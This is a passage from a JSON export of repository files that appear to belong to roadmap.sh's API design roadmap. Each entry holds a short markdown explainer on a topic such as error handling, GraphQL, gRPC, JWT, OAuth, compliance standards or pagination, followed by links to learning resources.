    "content": "# Error Handling / Retries\n\nWhen creating effective API designs, addressing Error Handling and Retries forms an essential facet. This is primarily due to the fact that APIs aren't always error-free and instances of network hiccups or input inaccuracies from users can occur. Without robust error handling, such occurrences can easily lead to catastrophic application failure or unsatisfactory user experiences. Error handling can refer to validating inputs, managing exceptions, and returning appropriate error message or status codes to the user. Meanwhile, the concept of retries comes into play to ensure maximum request success amidst transient failures. Through correctly implemented retries, an API can repeatedly attempt to execute a request until it is successful, thus ensuring seamless operation.\n\nVisit the following resources to learn more:\n\n- [@article@How To Improve Your Backend By Adding Retries to Your API Calls](https://hackernoon.com/how-to-improve-your-backend-by-adding-retries-to-your-api-calls-83r3udx)\n- [@video@How to Make Resilient Web Applications with Retries](https://www.youtube.com/watch?v=Gly94hp3Eec)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/error-handling@8tELdagrOaGCf3nMVs8t3.md",
    "content": "# Error Handling in API Design\n\nError Handling is a crucial aspect of API design that ensures the stability, usability, and reliability of the API in production. APIs are designed to help systems communicate with each other. However, there can be instances where these systems might encounter exceptions or errors. The process of predicting, catching, and managing these error occurrences is what we refer to as 'Error Handling'. In the context of API Design, it involves defining and implementing specific strategies to detect, manage and inform consumers of any exception or error that occurs while executing requests. Configuring this appropriately provides a more robust and seamless communication experience, enabling developers to debug and rectify issues more efficiently.\n\nVisit the following resources to learn more:\n\n- [@article@Best Practices for API Error Handling](https://blog.postman.com/best-practices-for-api-error-handling/)\n- [@article@Best Practices for REST API Error Handling](https://www.baeldung.com/rest-api-error-handling-best-practices)\n- [@video@Handling HTTP API Errors with Problem Details](https://www.youtube.com/watch?v=uvTT_0hqhyY)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/event-driven-architecture@oMfOBkVsgiLvFLicOUdx6.md",
    "content": "# Event Driven Architecture in API Design\n\nEvent-driven architecture (EDA) is a software design concept that revolves around the production, interpretation, and consumption of events. With regards to API design, EDA grants systems the flexibility to decentralize analytics, microservices, and operations, thus promoting real-time information sharing and reaction. Event-driven APIs prioritize asynchronous communication, allowing applications to stay responsive even when tackling heavy data loads. For an effective API, adhering to EDA provides data reliability, maturity with a scalable structure, and efficient real-time data processing capabilities.\n\nVisit the following resources to learn more:\n\n- [@article@Event Driven Architecture Style](https://learn.microsoft.com/en-us/azure/architecture/guide/architecture-styles/event-driven)\n- [@article@Event-driven Architecture](https://aws.amazon.com/event-driven-architecture/)\n- [@video@Event-Driven Architecture: Explained in 7 Minutes!](https://www.youtube.com/watch?v=gOuAqRaDdHA)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/functional-testing@6lm3wy9WTAERTqXCn6pFt.md",
    "content": "# Functional Testing in API Design\n\nFunctional testing in the context of API design involves validating the endpoints and key-value pairs of an API. It ensures the server response works as expected and assesses the functionality of the API whether it is performing all the intended functions correctly. Various approaches like testing request-response pairs, error codes, and data accuracy are used. Functional testing can provide invaluable insights into how well an API meets the specified requirements and whether it is ready for integration into applications.\n\nVisit the following resources to learn more:\n\n- [@article@API Functional Testing – Why Is It Important And How to Test](https://testsigma.com/blog/api-functional-testing/)\n- [@video@What Is API Functional Testing?](https://www.youtube.com/watch?v=CvJHDKMWofk)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/gdpr@vZxdswGLHCPi5GSuXEcHJ.md",
    "content": "# GDPR in API Design\n\nThe General Data Protection Regulation (GDPR) is an essential standard in API Design that addresses the storage, transfer, and processing of personal data of individuals within the European Union. With regards to API Design, considerations must be given on how APIs handle, process, and secure the data to conform with GDPR's demands on data privacy and security. This includes requirements for explicit consent, right to erasure, data portability, and privacy by design. Non-compliance with these standards not only leads to hefty fines but may also erode trust from users and clients. As such, understanding the impact and integration of GDPR within API design is pivotal for organizations handling EU residents' data.\n\nVisit the following resources to learn more:\n\n- [@official@GDPR](https://gdpr-info.eu/)\n- [@article@What is GDPR Compliance in Web Application and API Security?](https://probely.com/blog/what-is-gdpr-compliance-in-web-application-and-api-security/)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/graphql-apis@MKVcPM2EzAr2_Ieyp9Fu3.md",
    "content": "# GraphQL APIs\n\nGraphQL is an open-source data query and manipulation language for APIs, and a runtime for executing those queries with your existing data. Unlike REST, where you have predefined data return structures for each endpoint, GraphQL APIs are designed around a type system and enable the client application to precisely specify what data it needs from the server. This gives a lot of flexibility and efficiency, leading to fewer round trips to the server and significantly enhancing the performance of the client application. Whether you are building a small project or an enterprise-scale application, understanding and implementing GraphQL APIs can result in cleaner, more manageable code.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated GraphQL Roadmap](https://roadmap.sh/graphql)\n- [@official@GraphQL Website](https://graphql.org/)\n- [@opensource@Public GraphQL APIs](https://github.com/graphql-kit/graphql-apis)\n- [@video@GraphQL Explained in 100 Seconds](https://www.youtube.com/watch?v=eIQh02xuVw4)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/grpc-apis@1DrqtOwxCuFtWQXQ6ZALp.md",
    "content": "# gRPC\n\ngRPC is a platform agnostic serialization protocol that is used to communicate between services. Designed by Google in 2015, it is a modern alternative to REST APIs. It is a binary protocol that uses HTTP/2 as a transport layer. It is a high performance, open source, general-purpose RPC framework that puts mobile and HTTP/2 first. It's main use case is for communication between two different languages within the same application. You can use Python to communicate with Go, or Java to communicate with C#.\n\nVisit the following resources to learn more:\n\n- [@official@gRPC Website](https://grpc.io/)\n- [@official@gRPC Introduction](https://grpc.io/docs/what-is-grpc/introduction/)\n- [@official@gRPC Core Concepts](https://grpc.io/docs/what-is-grpc/core-concepts/)\n- [@video@Stephane Maarek - gRPC Introduction](https://youtu.be/XRXTsQwyZSU)\n- [@feed@Explore top posts about gRPC](https://app.daily.dev/tags/grpc?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/handling-crud-operations@zXxEiM5HeOn7W-Vue0tQf.md",
    "content": "# Handling CRUD Operations in API Design\n\nWhen designing APIs, one needs to account for various types of interactions with data - these typically revolve around the CRUD operations; Create, Read, Update, and Delete. Whether the API is designed for a banking app or a social media platform, the need to create new data, read or retrieve existing data, update or modify that data, and delete unnecessary data is universal.\n\nTherefore, mastering CRUD operations in API design is a fundamental skill. Effective handling of CRUD operations facilitates seamless interaction between the front-end and back-end systems, and ensures proper data management, thereby improving user experience.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to Building a CRUD API with Node.js and Express](https://www.split.io/blog/introduction-to-building-a-crud-api-with-node-js-and-express/)\n- [@article@An expert's guide to CRUD APIs](https://www.forestadmin.com/blog/an-experts-guide-to-crud-apis-designing-a-robust-one/)\n- [@article@Rethinking CRUD For REST API Designs - Palentir](https://blog.palantir.com/rethinking-crud-for-rest-api-designs-a2a8287dc2af)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/hateoas@LByD1vhzunhY1uY1YGZHP.md",
    "content": "# HATEOAS in API Design\n\nHypertext As The Engine Of Application State (HATEOAS) is a key concept in the design of RESTful APIs (Application Programming Interfaces). It implies that the API delivers data as well as information about available interactions. By utilizing hypermedia, it contributes to the self-descriptiveness and discoverability of the API. When correctly implemented, clients only need generic knowledge about hypermedia, not specific API semantics, which can significantly simplify client implementations and make APIs more flexible to changes. The principle of HATEOAS can enforce a more structured, standardized approach to API design and development.\n\nVisit the following resources to learn more:\n\n- [@article@HATEOAS Driven REST APIs](https://restfulapi.net/hateoas/)\n- [@article@HATEOAS](https://htmx.org/essays/hateoas/)\n- [@video@What Happend To HATEOAS in RESTful API?](https://www.youtube.com/watch?v=HNTSrytKCoQ)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/hipaa@W4WwTmgZGnWmiYsB0ezml.md",
    "content": "# HIPAA in API Design\n\nHIPAA (Health Insurance Portability and Accountability Act) is a critical standard when it comes to API design in the healthcare industry. In essence, it provides the mandate for protecting sensitive patient data. Any organization dealing with protected health information (PHI) must ensure all required physical, network, and process security measures are in place. In the context of API design, HIPAA compliance means structuring endpoints, data transmission, and storage methods that align with these crucial safeguards. This encompasses encryption, access controls, audit controls, and integrity controls. Hence, understanding HIPAA is fundamental for API designers working in the healthcare domain.\n\nVisit the following resources to learn more:\n\n- [@official@HIPAA](https://www.hhs.gov/hipaa/index.html)\n- [@video@The 11 MOST Common HIPAA Violations](https://www.youtube.com/watch?v=sN-zLAqYoTo)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/http-caching@qAolZHf_jp8hCdtqHZwC8.md",
    "content": "# HTTP Caching in API Design\n\nHTTP caching is a key aspect of API design which involves storing copies of responses to HTTP requests to speed up future requests. When an API receives the same request multiple times, instead of processing each request separately, it can use a previously stored response, thereby improving performance and efficiency. The cache is governed by headers on the HTTP requests and responses. Understanding and implementing HTTP caching in API design can drastically reduce latency, network traffic and improve the speed of an API.\n\nVisit the following resources to learn more:\n\n- [@article@Why HTTP Caching matters for APIs](https://thenewstack.io/why-http-caching-matters-for-apis/)\n- [@article@Caching REST API Response](https://restfulapi.net/caching/)\n- [@article@HTTP caching](https://developer.mozilla.org/en-US/docs/Web/HTTP/Caching)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/http-headers@rE-0yibRH6B2UBKp351cf.md",
    "content": "# HTTP Headers in API Design\n\nHTTP Headers play a crucial role in API Design as they provide essential information between the client and server regarding the data to be exchanged. Headers are part of the HTTP request and response message, with types including Standard, Non-standard, Common or Uncommon headers. They can define parameters such as content type, authentication, response status, cookies, and more. Understanding and effectively utilizing HTTP Headers is key to designing robust and secure APIs. A well-defined set of headers ensures successful data exchange, handles errors gracefully, and improves overall communication between the client and server.\n\nVisit the following resources to learn more:\n\n- [@article@HTTP Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers)\n- [@article@What are HTTP Headers?](https://blog.postman.com/what-are-http-headers/)\n- [@article@What are HTTP Headers & Types of HTTP headers](https://requestly.com/blog/what-are-http-headers-understand-different-types-of-http-headers/)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/http-methods@rADHM-6NAxEjzmgiHefDX.md",
    "content": "# HTTP Methods\n\nHTTP (Hypertext Transfer Protocol) Methods play a significant role in API design. They define the type of request a client can make to a server, providing the framework for interaction between client and server. Understanding HTTP methods is paramount to creating a robust and effective API. Some of the common HTTP methods used in API design include GET, POST, PUT, DELETE, and PATCH. Each of these methods signifies a different type of request, allowing for various interactions with your API endpoints. This in turn creates a more dynamic, functional, and user-friendly API.\n\nVisit the following resources to learn more:\n\n- [@article@HTTP Methods - MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods)\n- [@article@What are HTTP Methods? - Postman](https://blog.postman.com/what-are-http-methods/)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/http-status-codes@7szYyzLifKsepNU0c2KnN.md",
    "content": "# HTTP Status Codes\n\nHTTP Status Codes are an essential part of API Design, providing important information about the result of a request made to a server. They are 3-digit numbers where the first digit defines the class of response, while the last two digits do not have any categorization value. For instance, '200' stands for a successful HTTP request, while '404' signifies that a requested resource could not be found on the server. Efficient use of these codes can enhance API's robustness, making it more understandable and easier to debug.\n\nVisit the following resources to learn more:\n\n- [@article@HTTP Status Codes](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status)\n- [@article@What are HTTP status codes?](https://umbraco.com/knowledge-base/http-status-codes/)\n- [@article@List of HTTP status codes](https://en.wikipedia.org/wiki/List_of_HTTP_status_codes)\n- [@video@HTTP Status Codes explained in 5 minutes](https://www.youtube.com/watch?v=qmpUfWN7hh4)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/http-versions@ACALE93mL4gnX5ThRIdRp.md",
    "content": "# HTTP Versions in API Design\n\nHTTP or Hypertext Transfer Protocol is pivotal in the world of API design. HTTP versions specify how data should be packaged and transported, as well as how web servers and browsers should respond to commands. Understanding different HTTP versions and their features is essential for API designers as it directly impacts how well an API can communicate with other software and systems. From HTTP/1.0, the initial version of HTTP to HTTP/2 and the latest version HTTP/3, each version brings in improvements in speed, data transmission capabilities, and security. Selecting an appropriate HTTP version is crucial for API efficiency and performance.\n\nVisit the following resources to learn more:\n\n- [@article@Evolution of HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP)\n- [@article@HTTP: 1.0 vs 1.1 vs 2.0 vs 3.0](https://www.baeldung.com/cs/http-versions)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/http@2HdKzAIQi15pr3YHHrbPp.md",
    "content": "# HTTP in API Design\n\nHTTP, or Hypertext Transfer Protocol, is a fundamental piece of any API design. It is the protocol used for transmitting hypermedia data on the web, such as HTML webpages or JSON from a web API. Understanding HTTP is crucial in API design as it provides the structure for how requests and responses should be constructed and handled. It dictates how endpoints are defined, how data should be transferred, and what status codes should be used to convey specific scenarios. A solid grounding in HTTP principles allows for more robust, efficient and secure API designs.\n\nVisit the following resources to learn more:\n\n- [@article@Everything you need to know about HTTP](https://cs.fyi/guide/http-in-depth)\n- [@article@What is HTTP?](https://www.cloudflare.com/en-gb/learning/ddos/glossary/hypertext-transfer-protocol-http/)\n- [@article@An overview of HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview)\n- [@article@HTTP/3 From A To Z: Core Concepts](https://www.smashingmagazine.com/2021/08/http3-core-concepts-part1/)\n- [@video@HTTP Crash Course & Exploration](https://www.youtube.com/watch?v=iYM2zFP3Zn0)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/idempotency@20KEgZH6cu_UokqWpV-9I.md",
    "content": "# Idempotency in API Design\n\nIdempotency in API design refers to the concept where multiple identical requests have the same effect as a single request. This means that no matter how many times a client sends the same request to the server, the server's state stays the same after the first request. Designing APIs to be idempotent is essential for reliability, as it allows retries without side-effects, reduces complexity in distributed systems, and provides better user experience in unstable network conditions. Understanding idempotency concepts can increase the robustness and fault tolerance of your APIs. It is usually applicable to `PUT`, `DELETE`, and sometimes `POST` methods in RESTful APIs.\n\nVisit the following resources to learn more:\n\n- [@article@What is idempotency?](https://blog.dreamfactory.com/what-is-idempotency)\n- [@article@Idempotent REST API](https://restfulapi.net/idempotent-rest-apis/)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/integration-testing@qZELS5vw2feS7QfyD7spX.md",
    "content": "# Integration Testing in API Design\n\nIntegration testing is a critical aspect of API design. It is a level of software testing where individual units or components are combined and tested as a group. The main purpose of integration testing in API design is to expose faults and discrepancies in the interaction between integrated units. This testing approach ensures that the different parts of an API work together seamlessly, to deliver the necessary functionality and performance. It helps detect issues related to the network, database, and performance, which unit tests cannot uncover. Thus, this level of testing is instrumental in validating the reliability, efficiency, and functionality of an API's integrated components.\n\nVisit the following resources to learn more:\n\n- [@article@How to run API integration tests](https://www.merge.dev/blog/api-integration-testing)\n- [@article@Integration testing template](https://www.postman.com/templates/fe506090-ca91-4340-bea9-82d2c3d2bb9a/Integration-testing/)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/jwt@tWg68AHLIr1gIZA1za3jp.md",
    "content": "# JSON Web Token (JWT) in API Design\n\nJSON Web Tokens, or JWT, are a popular and secure method of transferring information between two parties in the domain of API design. As a compact, URL-safe means of representing claims to be transferred between two parties, they play a vital role in security and authorization in modern APIs. By encoding these claims, the information can be verified and trusted with a digital signature - ensuring that the API end-points can handle requests in a secure and reliable way. JWT is a relatively lightweight and scalable method that brings improved authentication and information exchange processes in API design.\n\nVisit the following resources to learn more:\n\n- [@roadmap@JWT Authentication](https://roadmap.sh/guides/jwt-authentication)\n- [@official@Introduction to JSON Web Tokens](https://jwt.io/introduction)\n- [@article@JSON Web Tokens](https://auth0.com/docs/secure/tokens/json-web-tokens)\n- [@video@Why is JWT popular?](https://www.youtube.com/watch?v=P2CPd9ynFLg)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/kafka@boYX1QcJullypfX4sevdy.md",
    "content": "# Kafka in API Design\n\nApache Kafka is a real-time, fault-tolerant, and highly reliable messaging system that's integral to API design. It's primarily used to build real-time data streaming applications and microservices due to its inherent ability to handle high volume data and multi-subscriber support. In the context of API design, Kafka provides a robust messaging queue system that enables cloud-based platforms and services to communicate seamlessly with each other in a real-time environment. Moreover, the API designers use Kafka APIs such as Producer API, Consumer API, Streams API, and Connect API which enable the transmission and manipulation of messages within the Kafka ecosystem.\n\nVisit the following resources to learn more:\n\n- [@official@Kafka Website](https://kafka.apache.org/)\n- [@opensource@apache/kafka](https://github.com/apache/kafka)\n- [@video@Kafka in 100 seconds](https://www.youtube.com/watch?v=uvb00oaa3k8)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/learn-the-basics@duKkpzPjUU_-8kyJGHqRX.md",
    "content": "# Learn the Basics of API Design\n\nApplication Programming Interfaces (APIs) are an integral part of modern development, allowing software applications to communicate and use functions from other software applications or services. API design, therefore, becomes a key part of any software development process. Furthermore, the basics of API design encompass understanding the principles of what an API is, how it works, and the various types of APIs, such as REST, SOAP, and GraphQL. This also includes understanding the standards and best practices in API design to ensure the development of powerful, user-friendly, and secure APIs. The foundation of API Design lies in this knowledge, setting the stage for more complex API designing and development."
  },
  {
    "path": "src/data/roadmaps/api-design/content/load-balancing@p5wsniYnOS7cbHd92RxGk.md",
    "content": "# Load Balancing in API Design\n\nLoad Balancing plays a crucial role in the domain of API Design. It primarily revolves around evenly and efficiently distributing network traffic across a group of backend servers, also known as a server farm or server pool. When it comes to API design, implementing load balancing algorithms is of immense importance to ensure that no single server bears too much demand. This allows for high availability and reliability by rerouting the traffic in case of server failure, effectively enhancing application performance and contributing to a positive user experience. Therefore, it's a vital tactic in ensuring the scalability and robustness of system architectures which heavily rely on API interactions.\n\nVisit the following resources to learn more:\n\n- [@article@What is Load Balancing?](https://www.cloudflare.com/en-gb/learning/performance/what-is-load-balancing/)\n- [@article@Load Balancers in API](https://learn.microsoft.com/en-us/rest/api/load-balancer/)\n- [@article@API Gateway vs Load Balancer: Which is Right for Your Application?](https://konghq.com/blog/engineering/api-gateway-vs-load-balancer)\n- [@video@What is a Load Balancer?](https://www.youtube.com/watch?v=sCR3SAVdyCc)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/load-testing@7JNEx_cbqnAx3esvwZMOd.md",
    "content": "# Load Testing in API Design\n\nLoad testing is a crucial aspect of API design that ensures reliability, efficiency and performance under varying loads. It primarily focuses on identifying the maximum capacity of the API in terms of the volume of requests it can handle and its subsequent behavior when this threshold is reached or overloaded. By simulating varying degrees of user load, developers can identify and rectify bottlenecks or breakdown points in the system, hence enhancing overall API resilience.\n\nVisit the following resources to learn more:\n\n- [@article@API Load Testing - Beginners Guide](https://grafana.com/blog/2024/01/30/api-load-testing/)\n- [@article@Test Your API’s Performance by Simulating Real-world Traffic](https://blog.postman.com/postman-api-performance-testing/)\n- [@video@Load Testing API's](https://www.youtube.com/watch?v=a5hWE4hMOoY)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/mac@tl1wXmOaj_zHL2o38VygO.md",
    "content": "# Mandatory Access Control (MAC)\n\nMandatory Access Control (MAC) is a security model where the operating system or security kernel controls access to resources based on a fixed set of rules and security clearances. Unlike discretionary access control (DAC) where users can grant access to resources they own, in MAC, access is determined by a central authority. Each resource and user is assigned a security label, and access is granted only if the user's label dominates the resource's label, ensuring a strict and centrally managed security policy.\n\nVisit the following resources to learn more:\n\n- [@article@mandatory access control (MAC)](https://www.techtarget.com/searchsecurity/definition/mandatory-access-control-MAC)\n- [@article@Mandatory access control defined](https://nordlayer.com/learn/access-control/mandatory-access-control/)\n- [@video@Mandatory Access Control](https://www.youtube.com/watch?v=E4CsEDEyauY)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/messaging-queues@IkPZel5zxXWIx90Qx7fZI.md",
    "content": "# Messaging Queues in API Design\n\nMessaging Queues play a fundamental role in API design, particularly in creating robust, decoupled, and efficient systems. These queues act like a buffer, storing messages or data sent from a sender (producer), allowing a receiver (consumer) to retrieve and process them at its own pace. In the context of API design, this concept enables developers to handle high-volume data processing requirements, providing an asynchronous communication protocol between multiple services. The benefits of messaging queues in API design include better system scalability, fault tolerance, and increased overall system resiliency.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Message Queue?](https://aws.amazon.com/message-queue/)\n- [@video@REST API Message Queues Explained](https://www.youtube.com/watch?v=2idPgA6IN_Q)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/microservices-architecture@PPeBbooE121zrgNwpVTiA.md",
    "content": "# Microservices Architecture\n\nWhen it comes to API Design, Microservices Architecture plays a crucial role. It represents a unique method of developing software systems that focuses on building single-function modules with well-defined interfaces. Each microservice runs a unique process and communicates through a well-defined, lightweight mechanism (often HTTP resources API) to serve a specific business goal. This architecture allows rapid, reliable, and scalable deployment of large, complex applications. It facilitates the organization of the development team around independently deployable units, thereby enhancing productivity and speed. When designing an API, it's essential to adapt this model to get a flexible and scalable construction.\n\nVisit the following resources to learn more:\n\n- [@article@What is Microservices Architecture?](https://cloud.google.com/learn/what-is-microservices-architecture)\n- [@article@Microservice Architecture Style](https://learn.microsoft.com/en-us/azure/architecture/guide/architecture-styles/microservices)\n- [@video@Microservices Explained in 5 Minutes](https://www.youtube.com/watch?v=lL_j7ilk7rc)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/mocking-apis@bEVCT5QGY3uw0kIfAELKh.md",
    "content": "# Mocking APIs under API Testing\n\nAPI mocking is a crucial aspect of API design and testing. It involves simulating the behaviors of real APIs to test various aspects of the system without the need of the real API being readily available. During the stages of development and testing, the API might be undefined or changes in the API can be expected, hence mocking comes into the picture. In such cases, it helps software developers and testers to isolate the system and work independently, enhancing the control over the input and output of the test. The focus here ranges from testing the API for functionality, reliability, performance, to security. Therefore, understanding and implementing effective API mocking strategies can significantly streamline the API design and development process.\n\nVisit the following resources to learn more:\n\n- [@article@What is API Mocking? Definition, Guide, and Best Practices](https://katalon.com/resources-center/blog/what-is-api-mocking)\n- [@article@What is API mocking (What is API Mocking? Definition, Guide, and Best Practices)](https://blog.postman.com/what-is-api-mocking/)\n- [@video@How to Mock RESTFUL APIs - The Easy way!](https://www.youtube.com/watch?v=tJRN5WBF5Wc)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/oauth-20@TLuNtQ6HKYQXmglyVk8-t.md",
    "content": "# OAuth 2.0\n\nOAuth 2.0 is an authorization framework that allows applications to obtain limited access to user accounts on an HTTP service, such as Facebook, GitHub, DigitalOcean, and others. It works by delegating user authentication to the service that hosts the user account and authorizing third-party applications to access the user account. OAuth 2.0 defines four roles: resource owner, client, resource server and authorization server. With regards to API design, OAuth 2.0 can be used to protect API endpoints by ensuring that the client applications having valid access tokens can only interact with the API. It provides detailed workflow processes and a set of protocols for the client application to get authorization to access resources.\n\nVisit the following resources to learn more:\n\n- [@roadmap@OAuth](https://roadmap.sh/guides/oauth)\n- [@official@OAuth Website](https://oauth.net/2/)\n- [@official@What is OAuth 2.0?](https://auth0.com/intro-to-iam/what-is-oauth-2)\n- [@video@OAuth 2 Explained In Simple Terms](https://www.youtube.com/watch?v=ZV5yTm4pT8g)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/pagination@pgJDzP3pJjhjr5wTRtPJO.md",
    "content": "# Pagination in API Design\n\nPagination is a crucial aspect of API design, providing a systematic approach to handling large amounts of data in a manageable way. Instead of returning all data in a single response, which can be overwhelming and inefficient, APIs implement pagination to deliver this data in smaller, more convenient parcels. This allows client applications to fetch data incremently and only as needed, greatly enhancing performance and usability. The design and implementation of pagination can vary, with different strategies such as limit-offset, cursor-based, or time-based pagination, each with its own set of advantages and limitations. An effective API design should carefully consider pagination style, striving for a balance between ease of use, efficiency, and scalability.\n\nVisit the following resources to learn more:\n\n- [@article@Everything you need to know about API pagination](https://nordicapis.com/everything-you-need-to-know-about-api-pagination/)\n- [@article@Pagination in the REST API - Atlassian](https://developer.atlassian.com/server/confluence/pagination-in-the-rest-api/)\n- [@article@Unlock the power of API pagination](https://dev.to/pragativerma18/unlocking-the-power-of-api-pagination-best-practices-and-strategies-4b49)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/pbac@nJWtUyn9bljh3T-q_adJK.md",
    "content": "# Policy-Based Access Control (PBAC)\n\nPolicy-Based Access Control (PBAC) is an authorization method that determines access rights based on a set of policies. Instead of directly assigning permissions to users or roles, PBAC evaluates requests against these policies, which define the conditions under which access is granted or denied. These policies can consider various attributes of the user, the resource being accessed, and the environment to make fine-grained authorization decisions.\n\nVisit the following resources to learn more:\n\n- [@article@Policy-Based Access Control (PBAC) – The Complete Know How for Organizations](https://heimdalsecurity.com/blog/policy-based-access-control/)\n- [@article@Policy Based Access Control (PBAC) Explained](https://www.pingidentity.com/en/resources/blog/post/policy-based-access-control.html)\n- [@video@What is PBAC? Policy Based Access Control Explainer by PlainID](https://www.youtube.com/watch?v=b7Nc5LzByuc)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/pci-dss@J0enF8UTVzY3H4n3pbPIF.md",
    "content": "# PCI DSS in API Design\n\nPayment Card Industry Data Security Standard (PCI DSS) is a widely accepted set of policies and procedures intended to optimize the security of credit, debit and cash card transactions and protect cardholders against misuse of their personal information. In terms of API Design, building APIs in compliance with PCI DSS is crucial when processing, storing or transmitting credit card information. By adhering to these standards, not only can developers ensure safe and secure API endpoints but also build trust among users by safeguarding their sensitive financial data.\n\nVisit the following resources to learn more:\n\n- [@article@What is PCI DSS and how to comply?](https://www.itgovernance.co.uk/pci_dss)\n- [@article@Payment Card Industry Data Security Standard](https://en.wikipedia.org/wiki/Payment_Card_Industry_Data_Security_Standard)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/performance-metrics@nQpczZUcn-TvrfT80dv0Q.md",
    "content": "# Performance Metrics in API Design\n\nAPI Design performance metrics play a critical role in ensuring APIs are efficient, effective, and absolutely fit for their intended purpose. The performance of an API can profoundly impact the user experience and overall system performance. Therefore, it is crucial to define and monitor a set of performance metrics. These may include response times, throughput, error rates, and others that measure system health and resource utilization. By prioritizing these metrics in the context of API Design, developers can create APIs that not only meet functional requirements but also deliver desired performance levels.\n\nVisit the following resources to learn more:\n\n- [@article@API Performance Monitoring](https://www.catchpoint.com/api-monitoring-tools/api-performance-monitoring)\n- [@article@How does API Monitoring Improves API Performance?](https://tyk.io/blog/api-product-metrics-what-you-need-to-know/)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/performance-testing@DQcAV59vr1-ZRnMfbLXpu.md",
    "content": "# Performance Testing in API Design\n\nPerformance Testing in API design refers to the practice of evaluating and ensuring that an API operates reliably and efficiently under varying workloads. Properly conducted performance testing can verify an API's speed, response time, reliability, and scalability. As an integral aspect of API design, it checks if API's are effectively meeting expectations for system functionality and demonstrates the potential areas of optimization. Performance testing is essential in maintaining high standards of user experience by preventing unexpected failures, and optimizing API consumer satisfaction.\n\nVisit the following resources to learn more:\n\n- [@article@API Performance Testing: A Step-by-Step Guide](https://testsigma.com/blog/api-performance-testing/)\n- [@article@Simulate user traffic to test your API performance](https://learning.postman.com/docs/collections/performance-testing/testing-api-performance/)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/pii@mXCKtLUvwVJkHrpHzOecq.md",
    "content": "# PII under Standards and Compliance\n\nPersonal Identifiable Information (PII) under Standards and Compliance is a crucial aspect of API Design. It refers to the secure handling and transmission of personal data such as names, addresses, and credit card numbers, which APIs often deal with. In this context, APIs must be built under strict compliance with standards such as GDPR, HIPAA or PCI DSS, which regulate the protection of personal data. These standards ensure that personal data is not misused and that user privacy is respected. Any violations can lead to hefty fines and damage to the company's reputation. Understanding PII and designing APIs in accordance with applicable regulations is vital for a robust, secure, and compliant API design.\n\nVisit the following resources to learn more:\n\n- [@article@Personally Identifiable Information (PII): Definition, Types, and Examples](https://www.investopedia.com/terms/p/personally-identifiable-information-pii.asp)\n- [@article@What is Personally Identifiable Information?](https://www.ibm.com/topics/pii)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/postman@KQAus72RGqx5f-3-YeJby.md",
    "content": "# Postman in API Design\n\nPostman is a popular tool in web development for designing, testing, and managing APIs. As a collaborative platform, it simplifies each step of the API lifecycle and streamlines collaboration across teams. In context of API design, it can be employed to design and mock APIs, automate testing, and observe responses in a user-friendly interface. API endpoints can be organized into collections also in Postman for a well-structured and organized API design process. Ultimately, its user-friendly interface and comprehensive features position Postman as an indispensable tool in the realm of API design.\n\nVisit the following resources to learn more:\n\n- [@official@Postman Website](https://www.postman.com/)\n- [@official@Postman Docs](https://www.postman.com/api-documentation-tool/)\n- [@video@Postman Tutorial for Beginners](https://www.youtube.com/watch?v=MFxk5BZulVU)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/profiling-and-monitoring@-qdwBg7HvwlbLy3IKCRij.md",
    "content": "# Profiling and Monitoring in API Design\n\nProfiling and monitoring are critical aspects of API design and implementation. Profiling, in this context, refers to the process of analyzing the behavior of your API in order to understand various performance metrics including response times, request rates, error rates, and the overall health and functionality of your API. On the other hand, monitoring is the ongoing process of checking the status of your API to ensure it's functioning as expected while also providing an early warning system for potential issues and improvements. Together, profiling and monitoring your API can lead to a more reliable, efficient, and high-performing service.\n\nVisit the following resources to learn more:\n\n- [@article@Monitor Health and Performance of your APIs](https://learning.postman.com/docs/monitoring-your-api/intro-monitors/)\n- [@article@API profiling at Pintrest](https://medium.com/pinterest-engineering/api-profiling-at-pinterest-6fa9333b4961)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/rabbit-mq@H22jAI2W5QLL-b1rq-c56.md",
